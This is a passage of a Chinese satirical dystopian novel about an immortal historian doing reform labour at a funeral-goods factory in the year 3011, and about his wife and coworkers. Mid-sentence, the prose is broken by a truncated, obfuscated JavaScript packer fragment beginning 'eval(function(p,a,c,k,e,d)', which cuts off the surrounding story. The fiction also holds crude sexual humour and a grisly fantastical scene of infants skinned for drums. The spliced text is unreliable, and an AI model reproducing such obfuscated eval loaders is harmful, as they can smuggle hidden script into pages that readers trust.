《黄金时代:众生相》 1. 复生 当我站在自然宇宙的维度,俯瞰地球众国之间的竞赛与博弈,也不过是一群蚂蚁自以为是的徒劳。战争时,蚂蚁是武器,发展时,蚂蚁是工具,人类的本质从未改变。 我是一名古老的历史学家。我超越时间、空间和一切介质,自天地初始诞生,反复年轻,从未真正死亡。我留存着从远古至未来的全部人类记忆,但世人只能捕捉一瞬的我。我见证了神话、宗教、科学、政治的演变,曾分别在太阳说诞生与拉美被殖民时期分别两度被投进火炉,也曾坐在城门前的一块长木旁盯着它被搬来搬去,与脖子上挂满佛珠的□□人辩论上帝已死;我见证了爱情、战争、哲学、艺术,曾经与曹雪芹、莎士比亚秉烛夜谈,也在战争中眼见我可爱的小母亲被炸得血肉粉碎,我在废墟中挖了七天七夜,却拼凑不出她小小的一只手。在亿万年的历史进程中,我一无所有,既没有靠投机积累的财富,也没有刻意传承的家族,没有人记住过我的样子。见过我的人最长不过百年,也都消失了。这个星球上所有存在过的和即将诞生的人,我都知道他们和她们的名字。白皮肤的、黑皮肤的、黄皮肤的、残疾的,健全的、扬名立万的、隐入尘烟的,所有名字,我都知道。时至将来,等人类从这个星球灭绝之时,我将作为一部伟大的文明历史著作,亘古不灭地流传下去,直到下一个文明纪元的开启。 而在流传下去之前,我需要先踏踏实实在人群里活着,而且是要遵纪守法、符合社会主流价值观地活着。可我从不是个踏实本分的脾气,所以,我不出所料地被下放到安化厂里进行改造,也就是在这里我遇见了古秀梅,但我先不讲她,她出门办事儿去了。 现在是公元 3011 年,在经历了百年前的科学大爆炸以及智能战争后,地球仅剩的财富和科技被高度垄断在各个政府手中,上层人依旧享受着科技便利的奢侈生活,而数量庞大的基层人民却被迫重新回到计划经济时代,当政者挑起的战争,买单的却是无辜平民。随着民众的意识觉醒,起义频发,政局动荡,政府为了更好地教化人民,在上世纪初陆续将艺术、文学、哲学的自由权利回收,民众所能接触到的文字、影像、音频全部经过层层审核。人们活在自以为的自由时代里,实际却像是玻璃球里转圈的雪人娃娃。 听,新鲜的思想政策,伴随着的邮递员轰隆的摩托车声,被送进千家万户。 毋庸置疑,这是一个和谐且稳定的时代,人人都幸福。 在安化厂,过度思考是一件被明确禁止的事情。 我们被允许公开讨论性与死亡,但对哲学、人生、艺术、意义却讳莫如深。 为了能更好地融进这个新集体,我最近特意学了些乡土的荤段子。我大概是为数不多的,连讲段子都要靠死记硬背的人,但即便背过也总临时忘白,逼不得已抄在小纸条上,揣在兜里,必要时随情景套入。想是这样打算的。但天不遂人愿,关键时总因各种缘故,譬如小纸条忘记带、又或被屁崩了裤兜子。于是时机一错再错。 厂里的保卫员杨海军,建议我养两只黄毛鸭子,再去中学旁的小树林溜达溜达,说是等年龄越长,越是喜欢偷窥暧昧不清的少男少女,仿佛他们小嘴儿一亲,世界便有了太阳。而养黄毛鸭子还有一个秘密好处,就是等满九十天时,它肥美得正好可以宰来呼朋唤友地一起吃。但这显然又需要一个前提:我得先交到足够多狐朋狗友才可以。 可我太懒了,懒到恨不得将自己焊进床板里,不分白天黑夜地掉头发。 我不分春夏秋冬地在坐着。坐在地球的结结实实的额头上。我没有哼歌,怕妨碍旁边的人抽烟,况且地球正有六亿小孩在午睡。我听说室韦县城有一匹马,它早出晚归,等待贝拉。贝拉是一条狗。贝拉还是僵尸电影的女主角,复活之后,她的眼瞳被染成鲜血红。 他们讲:「你应该继续写之前的小说,现在这种东西是没人有耐心看的,你懂吧,就那种小说。」 我的文字有勾起人欲望的魔力,他们的话绝没有侮辱或调侃之意。但至于我为什么不愿再服务于□□门,炮制思想文章。想想属实懒得解释也不敢解释,于是我淡定地放了个屁。毕竟放屁是人的基本生理需求,所以他们也拿我没办法。除了过往的汽车,好像全世界都沉浸在午睡的幸福里。想象着人类的幸福,我忽然也幸福起来。每天清早起床,一眼就可以看到尽头的一辈子,类似这种幸福,我忽然也想体验一回。每天该做什么、要做什么,多少的运动量,几时几分要会见哪些人,大概讲什么话,甚至早午晚饭吃些什么,都早已被计划妥当。如此,我便可以每天醒来就头脑空空、按部就班地忙碌,然后换来一身疲惫,再安安稳稳地睡着。周而复始,无所谓什么意义。 心火得不到宣泄,就影响我工作的积极性,我倒是不怎么重视业绩,可科室主任刘罐头不同意。 刘罐头祖上三代都是大知识分子,到他这代家里老本造没了,只好踏踏实实进我们安化厂朝九晚五地薅羊毛。但他可不是真的薅羊毛。安化厂也算半个文艺工作单位,我们的主要职责是制作以及销售殡仪丧葬用品。刘罐头这个人就很有头脑了,他总是在手里私扣一部分最畅销的产品,比如九层阴间大别墅、2900 年冥界邮票收藏版、豪华全息 99 寸观影屏、香蕉 8000 智能机、还有各种帅哥靓女等等等等。平时他是按住不抛的,只等到逢年过节,这些东西最紧俏的时候,他再通过他那个独眼的小舅子,一把高价卖出。就靠这,刘罐头不仅在鹅城买了高级小区的房,听说还是跟好多演员导演做邻居,牛批得很,另又整了辆小汽车天天开着上下班。他婆娘也是个狠角色,专做哭丧服务,中式西式文的武的她全能整,就她那哭一嗓子,一千块打赏刹不住,别家都是按老一辈规矩哭,她自创一门绝学,能从白天哭到黑夜里,音腔起承转合凄厉悲怆,真真能把鬼给哭活了。听说他俩姑娘也是读的考古专业,看来这家真是要把死人财发到极致唉。 我不屑于发死人财,所以无论如何得找方法请假。 每月总有那么几天不想工作,行尸走肉也有觉醒的时候不是,等到饭不饱腹,才悻悻然作为殷勤的螺丝钉,没日没夜地拧巴自己,为社会大发展做贡献。 但其实我并不缺钱,信用社有小万元存款,同学朋友那里还有些陈年旧账,如果一并讨要回来,在老家买个七十年产权厕所不成问题。但我这人很有长远意识,轻易不动这些财富。 整夜的雪终于停了,阳光普照,安化厂被镀得宛若鎏金。 粉饰太平之下,是流感余温未尽。街上没了往期的热闹,店铺皆关了门,大人小孩都躲在窗户里面吃白菜,蒸汽扑通扑通地冒,这反倒得意了厌烦寒暄的我,大摇大摆招晃过世,每一步都是新鲜平软的雪毛毯,结实过了把微服出巡的皇帝瘾。 「众爱卿,无事退朝。」 斗转天地间,黄毛狗一把年纪,摇身变成了嘤嘤怪。还是做狗好啊,不费吹灰之力,摇摇尾巴就能俘获女人的芳心。 天是够冷,日头也够歹毒,最近文明总署推出了个「给署长的一封信」的亲民活动,厂里把这个艰巨任务交给我。因为我是唯一的大学生,还曾经是个历史学家,后来因为一篇《我的舅舅》,被免了职位没收了房产,下放到这安化厂接受劳动的洗礼。每每被思教主任回忆起曾经前辈们艰苦卓绝的奋斗生涯,我总不禁潸然泪下,因为如果不哭得感同身受,我就又得留下来任由她思想教育到天亮。越是基层干部,办事最是稳准扎实,这一点我深有体会。最近几天,古秀梅去市里开培训会,深入学习如何教育改造我这种流氓伪知识分子了,等她回来,咱再详细品味她的厉害。 给署长写信,老一辈的安化厂人跑断关系都想争取这个名额,在他们的眼里,这是为国家做贡献的事儿,光宗耀祖,功利千秋万代,是祖坟上都能冒青烟的荣誉。可胡得为收遍了烟酒糖茶,最后却把这香饽饽给了我,明眼人都看得出,他这是纯属千金揽进啥事不干,谁的财礼都不想退,干脆拿我当个挡箭牌,明面上不说,暗地里放出风去,讲我和古秀梅关系不纯净,里外里就是透露个自己也是迫于无奈的信息。这种风化新闻在安化厂一传一个准儿。 甭管怎么说,署长邀请我写信,这个面子还是要给的。 面馆和粮食铺都大门紧闭,搁两个月前,烫秃噜脑袋也料想不出,一只小小的蝙蝠居然能逼停一架国家机器。我向来信奉莫谈国事,只关心自己的一日三餐,如今走在空城一般的街道,饿得眼歪口斜,却连口热饭都寻不得。只叹道,苍天无眼,惜命者水深火热,寻死者长命久安。 路边有几个从头到脚密不透风的白衣工作员,他们抬手招呼我过去,详细询问了我的单位、住址、人类接触史。我习惯性地曲着膝盖,一一作答。他们逐字记录,为首的那个大高个频频点头,看得出来我的答案令他们非常满意。他们给了我一包消毒液,并提醒包装上有使用说明,随后说了句祝我平安,就放我走了。我环顾了下庇佑在他们头顶的铁板棚,也就是勉强能挡点风雪,火炉也没有,饭冷在一边。我的信或许可以帮助他们,突然身体里喷涌出一腔热血,我不能再这样安于现状地苟活下去,我要发声! 可是,仅仅是我一介匹夫,浩浩壮志在历史洪流中终将泯灭成过眼云烟,从某种意义上说这已经是人类所配拥有的最好时代。人终有一死,世界终归灭亡,自由和理想注定是短暂的,那一切的奋斗与反抗又有什么意义。没有食物,我这块马达很快没了动力。 我平躺在坚强的床板上,凹陷的腹部形成一口干涸的井,像块等待被偷吃的咸腊肉,而我已经十年没吃过那东西。因为我的牙齿被厂区的圆屁股护士扒光了。这句是饿昏了的胡话。 她可是个诱人的小东西。胸脯两座小山包,小腿白润光滑,藏蓝色的工装服被她撑得前凸后翘,可就这偏偏三十了还未出阁。男人们都垂涎她,但都不敢打她主意。从前厂院保卫室的小冯就疯狂追求过她,听说还半夜偷摸进屋吃过她的馒头。偷吃馒头,是小地方的隐晦说法儿。后来小冯就被塞了个偷盗罪名送进了拘留所,出来后目光呆滞,成了个半傻子。 圆屁股护士叫吴侑珍,与纯朴的本地女人不同,她精致艳丽,虽然穿的都是批量生产的衣服,但她总愿意花心思别个胸针、系个丝巾。周末时,她总爱穿一件绸缎紫旗袍,坐在公园的秋千上,手里捧着一本《乱世佳人》。然后市长秘书的小黑车就会停在她旁边,她合上书,不紧不慢地放进精致的小包,坐进车里扬长而去。市长陈传富,原配在十几年前意外摔死,留下个纨绔的女儿。微服视察时被鱼刺卡了喉咙,到诊所就医,正遇上刚参加工作的吴侑珍,据说,当时秘书就清了场。后来秘书安排吴侑珍中风瘫痪的母亲,进了市里最好的疗养院,还给吴侑珍置办了现在这套小洋房。每次有幸擦肩而过,她愈发风情万种,却很少见她笑。 我总觉得,吴侑珍也是个佳人。 安化厂背后爱嚼舌根的人很多,语言之低俗鄙陋,如果语言可以杀人,大概这些妇女爷们儿都可以直接判刑进十八层地狱了。强烈建议国家立法能睁眼看看这些草菅人命的牲口,好好的粮食不吃,偏去学吃屎。 在这一点上,同屋王小小的见地与我高度一致。他自称是千年前文学巨匠王小波的同族远亲,前年正月,其父托关系将他安排到安化厂做学徒工,去年转做新岗培训员,一个每天走神儿溜号儿就能拿高工资的肥差事。安化厂虽说是周边五省最大的殡葬用品制造厂,但人员流动并不大,而且尽是些睁眼就能做的简单活,培训也都是领班师傅,王小小基本就是个宣传栏里的摆设。他在厂里每天最重要的事情就是去人事部的许绣蓝那里看书,王小小学历就到初中,却是个瓷实的书虫,金庸古龙叶辛雨果卡夫卡托尔斯泰,各种路子他都多多益善,从不挑食。许绣蓝家里有个研究学问的老祖父,家底殷实得很,书籍更是多如牛毛,如此说来,若我没写那篇该死的文章,将来也必能走上她老祖父的康庄大道。许绣蓝离过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如此说来,被嚼舌根儿这件事,王小小也是受害者。 我正饿得将死过去,外头有人咣咣咣敲门。一听这声音就知道是古秀梅,老庄和王小小都去厂里了,而我浑身疲软,直勾勾盯着天花板,满脑子都是被浓雾侵蚀的黑色森林,我成了一棵活着的死树,身上长满了有毒的蘑菇,松鼠和蛇就住在我的树冠里,蛇在我的皮肤间游走,阴嗖嗖的凉意刺激着我突然想尿尿,我一低头,树干上果然耷拉着一条黑黢黢的抽条,我努力使劲,可不知是哪里的开关被闸死了,怎么也尿不出来。这时我又听到外头有人咣咣咣敲门。 古秀梅用钥匙进来了,她又插上了门。「别装死!」不知怎么的,被她这一吼,我忽然就回到了乌烟瘴气的屋子里,微薄的光透过窗帘的缝隙照进来,古秀梅脱下酒红色的毛呢外套。 「屋里怎么这么冷。」 说着她出去鼓捣火炉,不一会儿,房间暖和起来,我开始出汗。她给自己煮了碗面,又问我要不要吃,我点点头。吃完后,她帮我解了腰带和裤子。 「听说你要给他们详细讲讲我的厉害?」 其实,我还是有点喜欢古秀梅的,她性格里那股子泼辣劲儿,爱憎分明,厂里刘罐头他们这些苍蝇,冠冕堂皇地克扣工人们的血汗钱,古秀梅总是第一个不答应,电话直接打到厂党委办公室,如果不解决马上报告给市里。古秀梅是安化厂唯一的基层党员,最重要的是她表舅是省里的二把手,所以厂里高层也都忌惮她几分。 她问我为什么没去厂里,我如实说信没写出来,没有灵感。古秀梅边穿内裤边给了我一个白眼。 「结婚证给我,下午去民政局开个证明,帮你提交年审档案。」 我指给她在床头柜里,里面还有我托人给古秀梅买的金戒指。她一打开就欢呼起来,像个没长大的小女孩。是的,我跟古秀梅结婚半个月了,但因为流感期间禁止举办聚会,我们没有婚礼,又因为租婚房的小区筛查出来有病例,我们也不能搬进去。但古秀梅什么也没抱怨,她相信我们身处一个光明的世界,这是我喜欢她的另一个地方。 古秀梅走了,火炉上的水开了,她甚至都没给我一个离别的吻。我忽然发现自己好像有点离不开古秀梅了。 我刷了锅碗,添了些煤火,愣愣地坐到写字台旁,盯着台历上数字「2 月 16 日」发怔好久,也没想起是个啥节日来着,如果有了节日我就可以直接写个祝敬爱的署长某某节日快乐,落款安化厂的一颗螺丝钉。但人家要求的是给人类文明大发展献计献策,可我从来厌恶曲意逢迎,万一再像上次那样扣我一顶流氓的帽子,那我岂不是得多交五年公粮。想来,桌上的钢笔还是舅舅去鹰国前送给我的呢。 舅舅名叫斯蒂芬,从小我就知道他是个行为艺术家,但周围人都讲他是精神病。他经常全世界各地飞来飞去做表演,而我只在中学时看过他在安化厂的表演。他挨家借来一百条长板凳,然后在广场上摆成一圈圈的圆环,自己站在圆环的最里面,就开始锯板凳,锯了四个多小时,手累得连筷子都拿不稳。后来百家跑来让他赔板凳,他爽快承诺明早就赔,结果天不亮就扒火车跑了。我跟舅舅说我想当作家,但感觉当作家好难,舅舅说让我多看书。他说这样每个书里取一个情节,用你的语言改造以后再汇总在一起,起名字定要惊世骇俗的,如此便可以一鸣惊人。我问他,这不就是抄袭吗。他大义凛然道:「你没有一句话是照搬的,哪有证据呢,真要追究起来,就打死不承认就对了。」 不知舅舅在鹰国如何,家里半年没他消息了,也不晓得他被人打死没。 我拧开钢笔,想起来还未请假,墙上的挂钟已经指到午后两点。我在纸上郑重且庄严地写下七个字:「敬爱的署长,您好,」笔头又卡水了。洋东西就这点不好,零件坏了都没得换,上次老庄拿笔尖撅核桃,我真她妈想拿核桃撅他脑袋。狗日的,想着就来气。折腾着打了半盆冷水,又从火炉上取下热水倒进去填满另一半,将钢笔拆解开,把里面墨水尽量榨干,然后浸在温水盆里,吸满温水再吐出来,如此重复,直到吐出来的水不见墨色为止,将钢笔里残留的水渍甩干,在常温风干一会,就可以上墨水重新用了。而脸盆的水可以放在厕所冲马桶。 2. 雷雷 写不出来信,我开始乱七八糟地写别的。 老庄是个西南边境来的移民,还带了老婆和两个孩子,后来婆娘嫌弃他在安化厂上班没出息,就带着孩子去了邻市生活。每隔一两月,那个黑胖的壮婆娘会来这边看他,厂里的合住宿舍难免不方便,他就带着婆娘去安化宾馆,他婆娘太胖了,去年夏天硬生生给宾馆睡塌一张双人床,打那之后,人人碰见老庄都打趣他,「老庄火力可以呀,一发炮弹一张床。」老庄露出满嘴黄牙,大笑道,「那当然,咱可是老革命啦。」只有他婆娘真心是为自己压塌了床而羞赧,后来就很少来了,都是老庄颠颠地往那边跑。老庄每次出门前,都要好一顿收拾自己。站在洗漱镜前,无死角地刷牙五分钟,反复漱口,热毛巾敷脸半分钟,下巴一圈抹匀香皂,将剃须刀换上新的刀片,从左到右细细慢慢地刮,每一根都分毫不差,温水冲洗后,冰水洗脸。老庄不知从哪里听来的,冰水洗脸可以防止皱纹、延缓衰老,有年寒冬把脸都洗出冻疮了,也不肯加半滴热水。洗完脸就开始洗头发,这回用的是温水,吹头发,借一点王小小的啫哩膏做造型。我们仨虽然从外貌看着不咋对付,但其实私下关系还可以,除了喝酒之外,从没真正翻过脸,主要是王小小太有钱,我和老庄偶尔占他点便宜,就算拌几句嘴他也从不小肚鸡肠地翻账。老庄有一套水泥灰的西装,他婆娘在服装厂做小组长,听说这原是出口鸡国的货,用的都是顶好的料子,婆娘跟厂里请示按出厂价买下来一套,从某种可能来说,老庄的这身说不定就跟电视上哪个首富的衣服是同一批的。可咱们从没见他穿过,他这一辈子,早先寻思供完俩孩子念完大学自己就解放了,结果大儿子谈个首都马城的对象要结婚,小女儿不想工作要继续考研究生,那只能继续供呗,马城房价见天儿地涨,老庄和媳妇发了疯地赚钱。 老庄穿着笔挺的工作服,站在镜子前左转右转地打量,好似个要出嫁的大姑娘。 安化厂里的人开玩笑归开玩笑,没几个不佩服老庄的,干起活来卖命似的,下了班照样乐乐呵呵的,出了篓子找不到人总是拿他顶罪,他也笑哈哈地弯腰赔不是。来安化厂这么些年,从没人见他对谁红过脸。老庄媳妇爱吃厂区糕点铺的蜜三刀,每回无论她来还是他去,他都会提前一天买上两斤备好。 我跟古秀梅商量过,如果将来生的孩子是老庄家那样的吸血鬼,就直接断绝亲生关系,也不指望这种儿孙养老,只要把在他们身上花的钱都还回来就行。用这钱我俩买份保险,找个山清水秀的养老院,快活得很。 下午五点了,写得好累。我甚至不知道自己写了些什么,古秀梅刚刚走,但我感觉自己好像正在经历一场失恋。 低头看笔下,眼里糊满了眼屎,我抬手一扒拉,粘了满手的白米粥。厂区的广播站呲哇开播,程奋进和苗黎两口子的声音,犹如蝗虫过境,钻进安化厂的每双耳朵,甭管是聋的还是瞎的。我现在就瞎了。我刚想摸着座机喊古秀梅回来救救我,却只见门被推开,进来一个胴体金光、全身赤裸的丰腴女人,拥有三十余年丰富的打枪经验的我马上意识到,这,又是一个白日春梦。 可她,似乎同所有之前的女人不一样。 等等。 不对劲。 她就是我!为什么我成了女人身,我讲了很多莫名其妙的话,小鸭子、贝拉之类的,我还说了放屁,就像文章开篇写的那样。我赤裸站在一个空荡翠绿的山谷,手捧着一枚小小的长方形纸盒,我开始说话: 「 关于你的细节,我知晓得不多。 他们只言片语里透露,你是在次日晌午被发现还赖床不起,后来警察就来了。 他们说你之前与人起过争执,但房间里却整洁如常,况且旅舍各处都有监控,并无旁人进到过房间。 他们说床楞上系着细细的绳,就是它带走你灵魂,而你看起来安安静静,似乎对一切还毫不知情的样子。 后来,你的父亲母亲来了,朋友们也陆续来了,警察还未结案,殡仪馆的黑幕盒子里空荡荡地,来人都以为是个恶作剧。他们没有生气,可也开心不起来。 有的人已经提前哭起来。 可谁也不知如何安慰我。 记得电影里的那首诗吗,乌云和白云结婚/我们欢呼着/去捡他们撒下的/喜糖 」 我前言不搭后语: 「 纯洁之死。 所有的死亡都是好的,我已然适应,也盘算好了如何享受它们。却从此,失去死亡,而被处以「永生」的极刑。 行刑之前,血亲捆我上砧板,这双被黑绸勒紧的眼孔,如七月绝望的枯井。 纯真的牧羊少年,他好心助我重见光明。 千篇一律的一张张脸,围成一万道密不透风的墙。 我是罪无可赦的最卑贱一个 仰望高高在上的买者。 「阿生……阿生……救我……」 牙齿冷颤不止。深谋远虑的父亲,昨夜下令拔掉了我的舌。一条舌:所有的语言与最后的一丝死亡。 「阿生……阿生……继续睡吧,我没事了……」 」 门被闷声推开,是王小小下班回来。他过来一把推醒我。 「晚上对付点啥啊咱。」他处变不惊的能力值得安化厂所有人学习。 我猛地睁开眼睛,满头雾水地四下打量一番,随后慢吞吞地回道:「今儿可是许绣蓝的生日,你没表示表示?」 这是下午古秀梅告诉我的,她跟许绣蓝要好,初中是同班同学,后来许绣蓝离婚,她还帮忙找了律师。王小小转身进洗手间。 「你把脸盆占了?」 「冲马桶嘛,节约用水。」 于是他用冷水抹了把脸,回过头来坐在火炉旁。 「哥,许姐可比我大八岁呢,老庄那嘴没把门儿的,但我信你,我诚心问你一句,你觉得我俩靠谱吗?」 我当即一拍桌子:「现在是自由恋爱社会,什么靠不靠谱,喜欢就追呗,那许绣蓝没准今天可等着你呢,过了这村往后可不一定有这店儿了。」 王小小坐那儿脸色沉沉地抽了三根烟,最后一根烟落地,他起身回屋拆了块新香皂,钻进洗澡间,哼哧哼哧搓了半个点,出来时整个一熟透的红苹果。他换了身干净运动服,登上锃亮的新皮鞋,简直毫无搭配审美可言,但他这呆头呆脑的劲儿正是许绣蓝所迷恋的。王小小打开里屋抽屉的锁头,取出一封信揣进兜里,临走还特意喷了几滴老庄的过期香水,像个奔赴战场的勇士,头也不回地就出了门。 去奔向许绣蓝的路上,王小小心跳得几乎发抖。这是他的初恋。他从小就是书呆子,人情世故浑然不懂,男女情爱更是警幻仙境。他将写给许绣蓝的情书紧紧捂在胸口,生怕出一丝闪失。其实这信几个月前,许绣蓝说给他切西瓜吃的当天凌晨,王小小洗完内裤后,趴在被窝里就写好了。 王小小深呼一口气,敲响那扇虚掩的门。 方经沐浴的许绣蓝闻声而来:「谁?」 王小小手捧鲜花:「绣蓝,是我。」 许绣蓝眼神从诧异瞬间转为喜悦:「谢谢……」 「绣蓝,我有话与你说。」王小小满脸通红,「方便进屋里说么?」 许绣蓝含羞待放地退身,将人请进屋:「雷雷刚回来玩了一通,有些乱,你别介意。」 「不,不会,我不会的。」王小小生怕自己表意不清,啰嗦地强调再三。他竭力压制几乎要崩裂而出的心脏,确认道:「雷雷他……」 「去独眼张家看电视去了,西游记孙悟空,这孩子总是看不够,这点跟咱们小时候还挺像的。」 「嗯。」 这声之后,昏黄的小屋里陷入短暂的沉默。王小小甚至能听到许绣蓝轻重无措的呼吸声,而他自己又何尝不是如此呢。 「绣蓝,其实我在图书馆有借书卡,但我是故意不去的,我确实喜欢书,但去你那儿借书,完全是为了偷偷看你。夏天你给我开风扇、切西瓜,冬天你给我烧暖炉子、烤栗子,这些我都时时刻刻关注着,可是我……我不敢抬头看你,因为你,你太好看了。但我不是因为你好看、也不是因为你给我的西瓜和栗子才喜欢你的,我也说不上来为什么。我读了这么多书,也写过几篇文章,可不知道为什么,一见到你,我就心砰砰跳、大脑空白,根本说不出平日里那些文学的话来。」 说完这些话,对面的许绣蓝已经泪眼盈盈,虽然她爱着王小小,但她一直以来都为自己的离婚而感到深深的自卑,安化厂的非议早已磨灭了她骨子里为数不多的勇气。而今,王小小的话,分明是她日思夜想盼望的,此刻她却不敢回应。 「你知道的,我离过婚,还有一个混世魔王的孩子,小小,我……」许绣蓝侧过身,抹了一把眼泪,「我配不上你啊。」 这句话让王小小慌了神,他害怕自己的初恋无疾而终,更害怕失去许绣蓝。 「绣蓝。」王小小跪地伏在许绣蓝湿答答的腿上,抬眸望向她的眼睛,「我知道你是嫌弃我年纪小,怕我只是一时兴起,但我对天发誓,爱你,是我此生做过的最正确也是最坚定的决定。绣蓝,我恳求你,不要拒绝我。如果你真的忍心看我心如刀割生不如死的话,那么你赶我走吧,明天我就离开安化厂,再不回来打扰你。」 按照我惯有的文笔风格,这种素了吧唧的纯情小说情节向来都是避而不写的。毕竟从我当男人几千年的个人经验、以及在男人堆里混了几千年的社会经验来说,男人就没有想搞纯情的。什么深情、纯情、友情,如果可以的话,我想全天下的男人都会想直接省略这些步骤,除非他是伪男人。甚至有些女人也是这种想法,比如古秀梅,她厌恶我喊她哈尼,也明令禁止我时刻粘着她,可她越这样,我越是离不开她。 我可真贱哪。 但王小小和许绣蓝是我愿意花几十个字去写一写的。打我认识这俩人开始,从没听过两人讲过一句荤段子,王小小除了许绣蓝、许绣蓝除了王小小,都再没对其他任何人流露过爱情的眼神。 我开始煮面,窝了个荷包蛋在里头。心里却还在想刚才那个梦,我是个过目不忘的历史学家,可梦中提到的诗,我怎么从没听过呢?她究竟是谁?她像是自杀了,但似乎又像是埋有更大更深的悲伤。她为什么会忽然出现在我的梦里,而且成了我?难道科幻假想里的平行宇宙真的存在,而我们只不过是不同时空的同一个人?等等,我的语言方式好像也忽然被她影响了,这绝不可以。我可是个男人,讲话娘不拉几可怎么行。想到这,吓得我赶紧脱了裤子检查那东西,果然还在晃荡着,幸好。若是没了它,古秀梅同志能要我的命。 面在铁锅里咕嘟咕嘟炖着,我环顾着这间紧紧巴巴的两室一厅,每个房间不足五平米,墙皮脱落得一塌糊涂,简直像被小孩子撒过尿,黄一块黑一片的。好在我这人素来爱干净,贴了层层满满的报纸、年画、海报,给墙打了五花八门的补丁,才勉强不至于像猪圈。 其中一张海报上是吕文生,他是省文工团的芭蕾舞演员,无论眉眼身形都是一等一的出挑,比白居易诗里十四五岁的女子还秀气。上回元旦汇演,我受邀去省里做报告--《作为新时代知识分子如何积极有为造福人民》。穿过礼堂时,正见他站在一堆舞蹈演员的最排头,穿着比牛乳还白的拉脚裤,胸脯挺得高高的,两条腿轮番往空中抛。底下道貌岸然的领导们齐刷刷别着二郎腿,眯缝的小眼睛里透出欲盖弥彰的□□,我猜这帮半条腿埋土的老东西肯定在想:跳个舞为啥还要穿裤子呢?净拿我们当外人。吕文生也知道这些个合法流氓在想什么,但他不屑理会。那天汇报结束,我出于好奇骑自行车追了他五条街,「你们跳芭蕾的为啥老蹦蹦跶跶个没完,剧团那舞台下面是烫红的烙铁还是无烟木炭,是不是粘着会掉层皮啊?」吕文生听了哈哈笑了半个钟头,他还骂我像个傻子。我也不气,反而有一丝窃喜,那感觉麻酥酥醋溜溜的,就像是古秀梅老在办事儿前咬我的那一口。要是我是女的,八成是不会钟意吕文生的,可谁让我是个混账男东西呢。 砰!脑袋瓜子天光乍现灵机一动,对啊,我干脆把去年的省报告拿出来,剪剪补补,标题就改作《致总理的一封信——作为一名基层文化工作者的几点困惑与建议》。想到这里,我不禁更加痴念古秀梅了。要是我有子宫,我恨不得立马冲到厂办公室去,给她生一箩筐孩子出来。 天还没黑透,王小小就回来了。确切地说,这地方从划为经济开放特区以来,已经将近十年没有过真正的黑夜了,除了电影院和地下管道。 我从糊满米粥的眼睛缝里,瞧见他那面颊绯红的脸,就知道那事儿没发生。 「亲嘴了没?」我故意逗他。 他愈发像个小媳妇:「林哥,你看这说什么呢。」 「哈哈哈,成,一回生二回熟,到时候可要收着点火力,再好的炮也不能没日没夜地用,不然容易成哑炮。」 正打趣着,独眼张已经站在门口。他浑身是水,头发里夹着水草,一脸惨白的慌张。活脱脱一副讨命鬼模样,说是刚刚被人溺死在水里爬上岸来索命也不为过。 他哆哆嗦嗦地开口:「快……快……」像一台卡带的复读机。 王小小扯了条干毛巾,走上前去:「快什么?」 独眼张满嘴死人气地说道:「快……去 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朴素的名字代表着最朴素的祝福。我从不奢求他成为人中龙凤、大富大贵,只希望他此生绝不会被饥饿困住脚步,时刻有饭,思想自由。他还在古秀梅腹中时,我就曾日夜反复叮咛他。 「谢谢你,让我有幸成为了一名父亲。」 这话我在他幼年时,时常贴在他圆软的小耳朵念叨,说完总忍不住在他白嫩的脸蛋上轻轻一吻。每次吻他之前,我都要洗脸、剃须、刷牙,生怕给他留下一丁点不好印象。老子当年追姑娘时可都没这样过。某种程度上是古秀梅改变了我,她像一个善良强悍的清洁工,在烂泥坑里捡到了我。她从不嫌弃,而是起炉台、烧热水,将我里里外外洗了个遍。她没日没夜地洗,甚至连我自己都不相信,我会有一丝一毫纯洁无瑕的地方,可她却从未有过放弃的念头和动作。如此重复了五千多个日夜,仿佛时间流转了五千年。 我是一个历史学家,从人类诞生时就没有死过。我置身文明的洪流之中,又游然宇宙之外。一千两百年前,我重生在欧亚大陆的最高处,被作为某派密宗的传人选中,我尚未断奶便被带离父母,钉进一间几平米的木头房子里,而我更认为那是一口箱子,我被迫成了信徒们供奉和瞻仰的神的替身,而那些与我同一时刻出生的孩子,却因此陷入万劫不复。神的不容亵渎,甚至不允许有人和我同年同月同日生,于是数百名呱呱婴儿被剥皮制鼓,在每年的神的生日,盛大的祭祀仪式上,我被连同木头房子一起游街、为信众祈福,而那些婴儿鼓则作为伴奏的乐器,在连续三天的祭祀中如影随形。而神的信众们一定想象不到,此后再次重生的我,来到非洲大陆的最南端,被锁链加身成为奴隶,我没日没夜地在钻石矿场工作,成吨的钻石原矿被输送到世界各地,而我的国家却越发贫穷。矿场的工作令我很快患病离开,再次醒来时,我作为新鲜的婴儿,被卡着脖子放在贵族餐桌的正中央,面色铁青的女服务生用刮刀剃光我浅棕色的胎毛,她用柔软的手指为我擦洗,尽管她看起来并不友好但我非常喜欢她,紧接着进来一个长脖子的男服务生,他的黑领结有些歪了,我本想好心提醒他,但下一秒我的脑袋便被咔呲开了两半,精美餐桌旁早已迫不及待的的白皮肤人们,津津有味地品尝起我鲜嫩的脑花,并赞不绝口,对此我深感自豪数百年。侥幸成年后的我更喜欢与猛兽为伍,美洲深山的云豹视我为伙伴,热切地与我分享猎物,即便我总是圣母心大发,放走食物引得族群挨饿,它们也从未迁怒我半分,后来,我教会了它们养殖畜牧,云豹不善言辞,眼神却投来疑问: 无论野生捕获还是圈养繁殖,吃的不都是动物的肉吗?为何前者便是残忍原始,后者便是现代文明? 我无法解答,甚至莫名感到自惭形秽,于是在次日清晨便离开了兽群。 老年时,我在象征着人类最高文明的大学讲堂上,面对着几百双或浑浑噩噩、或求知若渴的目光,充满激情地挥洒着粉笔,洋洋洒洒地板书,滔滔不绝地讲述思想和语言。直到我在课间十分钟里,打开了每日晨报,看到了云豹灭绝的消息,一时间悲恸欲绝,几近不能呼吸。我转身望向玻璃窗外,惨烈的夕阳烧红了人间,人类亲手制造了炼狱却不自知。 自从有饭进入青春期以来,他与我就渐渐疏远了,这令我很是伤心。 